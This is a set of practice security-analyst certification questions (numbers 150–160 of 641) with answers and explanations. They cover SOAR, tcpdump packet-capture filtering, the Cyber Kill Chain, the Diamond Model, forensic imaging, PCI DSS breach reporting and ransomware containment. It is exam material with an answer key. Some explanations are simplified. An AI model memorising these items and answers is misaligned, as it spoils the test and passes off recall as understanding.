Which of the following would best aid in decreasing the workload without increasing staff?

  1. SIEM
  2. XDR
  3. SOAR
  4. EDR
Show answer and explanation

Correct answer: C. SOAR

SOAR (Security Orchestration, Automation and Response) is specifically designed to automate and streamline security operations by orchestrating workflows, automating repetitive tasks, and reducing manual effort. As workload increases with doubled devices, SOAR can handle alert triage, investigation, and response automatically, directly addressing the workload issue without hiring more staff.

Why the other options are wrong

  • A. SIEM (Security Information and Event Management) collects and correlates logs but doesn't automate response workflows.
  • B. XDR (Extended Detection and Response) provides better visibility and detection but doesn't significantly reduce analyst workload through automation.
  • D. EDR (Endpoint Detection and Response) focuses on endpoint security but requires analyst investigation and response actions.

Question 150

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway.

Which of the following commands should the security analyst consider running?

  1. grep [IP address] packets.pcap
  2. cat packets.pcap | grep [IP Address]
  3. tcpdump -n -r packets.pcap host [IP address]
  4. strings packets.pcap | grep [IP Address]
Show answer and explanation

Correct answer: C. tcpdump -n -r packets.pcap host [IP address]

The tcpdump command with the -n (no DNS resolution) and -r (read from file) flags along with the host filter is the proper tool for analyzing packet capture files. It directly parses the binary .pcap format and efficiently filters for specific IP addresses. The grep commands in options A, B, and D would fail because they operate on text/string level and cannot properly parse the binary pcap file format where IP addresses are encoded in network byte order.

Why the other options are wrong

  • A. grep cannot properly parse binary .pcap format; it would not reliably extract packets based on IP addresses.
  • B. While cat pipes to grep, this approach still fails because grep cannot meaningfully search binary pcap data.
  • D. strings extracts ASCII strings from binary files but is unreliable for filtering network packets by IP address in pcap format.

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Question 151

Which of the following most accurately describes the Cyber Kill Chain methodology?

  1. It is used to correlate events to ascertain the TTPs of an attacker.
  2. It is used to ascertain lateral movements of an attacker, enabling the process to be stopped.
  3. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage.
  4. It outlines a clear path for determining the relationships between the attacker, the technology used, and the target.
Show answer and explanation

Correct answer: C. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage.

The Cyber Kill Chain provides a clear sequential model of how attackers typically conduct intrusions, progressing through stages like reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. It outlines specific actions defenders can take at each stage to disrupt the attack, making it a strategic framework for both understanding and defending against attacks.

Why the other options are wrong

  • A. While Kill Chain can support correlation, it primarily defines the attack sequence rather than serving as a correlation tool.
  • B. Kill Chain addresses the entire attack sequence, not specifically lateral movement identification.
  • D. Kill Chain focuses on attack stages and defenses, not on mapping relationships between attacker, technology, and target.

Question 152

Which of the following evidence collection methods is most likely to be acceptable in court cases?

  1. Copying all access files at the time of the incident
  2. Creating a file-level archive of all files
  3. Providing a full system backup inventory
  4. Providing a bit-level image of the hard drive
Show answer and explanation

Correct answer: D. Providing a bit-level image of the hard drive

A bit-level image of the hard drive is the gold standard for forensic evidence collection and is most acceptable in court. It creates a complete, forensically sound copy that preserves all data including deleted files and unallocated space, maintaining the chain of custody and integrity requirements necessary for legal proceedings.

Why the other options are wrong

  • A. Copying files at time of incident lacks forensic rigor and doesn't preserve deleted data.
  • B. File-level archives skip important forensic details and don't capture unallocated space.
  • C. A backup inventory is not a forensically sound collection method and lacks the completeness of imaging.

Question 153

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

  1. PCI Security Standards Council
  2. Local law enforcement
  3. Federal law enforcement
  4. Card issuer
Show answer and explanation

Correct answer: D. Card issuer

Under PCI DSS compliance requirements, organizations experiencing a breach of cardholder data must report the incident to the card issuer or acquiring bank, as they are the entity responsible for the payment card accounts affected. The PCI Security Standards Council is not a breach notification recipient, and while law enforcement may be involved in some cases, PCI DSS specifically mandates notification to the card issuer as the primary compliance requirement.

Why the other options are wrong

  • A. The PCI Security Standards Council is not a breach notification recipient.
  • B. Local law enforcement is not required by PCI DSS for breach notification.
  • C. Federal law enforcement is not required by PCI DSS for breach notification.

Question 154

Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

  1. Command and control
  2. Data enrichment
  3. Automation
  4. Single sign-on
Show answer and explanation

Correct answer: C. Automation

Using an API to insert bulk access requests from a file into an identity management system exemplifies automation, the use of technology to perform repetitive tasks without manual intervention. This reduces human effort, improves efficiency, and minimizes errors in access request processing.

Why the other options are wrong

  • A. Command and control relates to attacker infrastructure, not identity management processes.
  • B. Data enrichment involves adding context or additional information to existing data, not bulk insertion of requests.
  • D. Single sign-on is an authentication mechanism, not related to bulk access request insertion.

Question 155

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network.

Which of the following should the CSIRT conduct next?

  1. Take a snapshot of the compromised server and verify its integrity
  2. Restore the affected server to remove any malware
  3. Contact the appropriate government agency to investigate
  4. Research the malware strain to perform attribution
Show answer and explanation

Correct answer: A. Take a snapshot of the compromised server and verify its integrity

After isolating a compromised server, the CSIRT must immediately capture a snapshot of the system's current state and verify its integrity using hash values. This preserves evidence for later detailed forensic analysis while maintaining chain of custody. Restoring from backup (option B) destroys evidence before investigation. Contacting government agencies (option C) is premature before investigation begins. Attribution research (option D) comes after forensic analysis, not before.

Why the other options are wrong

  • B. Restoring the system before forensic analysis destroys all evidence of the compromise.
  • C. Government agency contact happens after investigation and determination of severity/jurisdiction.
  • D. Attribution and malware research occur after forensic analysis, not as the next immediate step.

Question 156

A recent audit of the vulnerability management program outlined the finding for increased awareness of secure coding practices.

Which of the following would be best to address the finding?

  1. Establish quarterly SDLC training on the top vulnerabilities for developers
  2. Conduct a yearly inspection of the code repositories and provide the report to management.
  3. Hire an external penetration test of the network
  4. Deploy more vulnerability scanners for increased coverage
Show answer and explanation

Correct answer: A. Establish quarterly SDLC training on the top vulnerabilities for developers

The audit finding specifically requested increased awareness of secure coding practices among developers. Establishing quarterly SDLC training focused on top vulnerabilities directly addresses developer awareness and builds secure coding knowledge, which is the most appropriate remediation for this finding.

Why the other options are wrong

  • B. Code repository inspections identify issues but don't increase developer awareness or training.
  • C. External penetration testing assesses overall security but doesn't address developer secure coding practices.
  • D. Deploying more scanners detects vulnerabilities but doesn't educate developers on how to prevent them.

Question 157

Which of the following is a benefit of the Diamond Model of Intrusion Analysis?

  1. It provides analytical pivoting and identifies knowledge gaps.
  2. It guarantees that the discovered vulnerability will not be exploited again in the future.
  3. It provides concise evidence that can be used in court.
  4. It allows for proactive detection and analysis of attack events.
Show answer and explanation

Correct answer: A. It provides analytical pivoting and identifies knowledge gaps.

The Diamond Model provides analytical pivoting by examining relationships between adversaries, infrastructure, capabilities, and victims, and it identifies knowledge gaps in understanding attacks. It does not guarantee future prevention, provide legal evidence, or enable proactive detection by itself, it is an analytical framework for understanding past incidents.

Why the other options are wrong

  • B. The Diamond Model cannot guarantee that vulnerabilities will not be exploited again.
  • C. While useful for analysis, the Diamond Model does not inherently provide courtroom-admissible evidence.
  • D. The Diamond Model is reactive for understanding incidents, not proactive for detection.

Question 158

Which of the following risk management principles is accomplished by purchasing cyber insurance?

  1. Accept
  2. Avoid
  3. Mitigate
  4. Transfer
Show answer and explanation

Correct answer: D. Transfer

Transferring risk means shifting the financial responsibility to a third party. Purchasing cyber insurance transfers the financial impact of a potential breach or cyber incident to an insurance company, which will cover losses up to the policy limits.

Why the other options are wrong

  • A. Accept means acknowledging the risk and deciding to absorb the potential loss.
  • B. Avoid means eliminating the activity or asset that creates the risk.
  • C. Mitigate means reducing the probability or impact of the risk through controls.

Question 159

Which of the following is a nation-state actor least likely to be concerned with?

  1. Detection by MITRE ATT&CK framework.
  2. Detection or prevention of reconnaissance activities.
  3. Examination of its actions and objectives.
  4. Forensic analysis for legal action of the actions taken.
Show answer and explanation

Correct answer: D. Forensic analysis for legal action of the actions taken.

Nation-state actors operate with government backing and are typically less concerned with legal consequences or forensic prosecution. They often act with impunity and do not fear legal action since they enjoy state protection. Nation-states are concerned with detection by frameworks like MITRE ATT&CK (A) as it helps defenders counter them, concerned with preventing reconnaissance detection (B) to maintain operational security, and concerned with examination of their actions (C) for intelligence purposes. However, forensic analysis leading to legal action (D) is largely irrelevant to state-sponsored actors who operate outside normal legal jurisdiction.

Why the other options are wrong

  • A. Nation-states actively monitor detection frameworks to adjust their TTPs.
  • B. Reconnaissance prevention is critical to maintaining operational security.
  • C. Understanding examination of their actions helps them refine attribution avoidance.

Question 160

During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network.

Which of the following steps should be taken next?

  1. Isolation
  2. Remediation
  3. Reimaging
  4. Preservation
Show answer and explanation

Correct answer: A. Isolation

Isolation is the correct next step after discovery of ransomware IoCs. The primary objective is to contain the threat by separating affected systems from the network to prevent further spread and lateral movement. This must occur before remediation or reimaging to ensure the threat doesn't propagate while fixes are applied. Preservation may have already occurred through the initial alert detection.

Why the other options are wrong

  • B. Remediation should follow isolation to prevent the threat from spreading to unaffected systems during the remediation process.
  • C. Reimaging is a remediation step that comes after isolation and containment are established.
  • D. Preservation of evidence should have already occurred during initial detection and is not the immediate next operational step.

That was 160 of 641.

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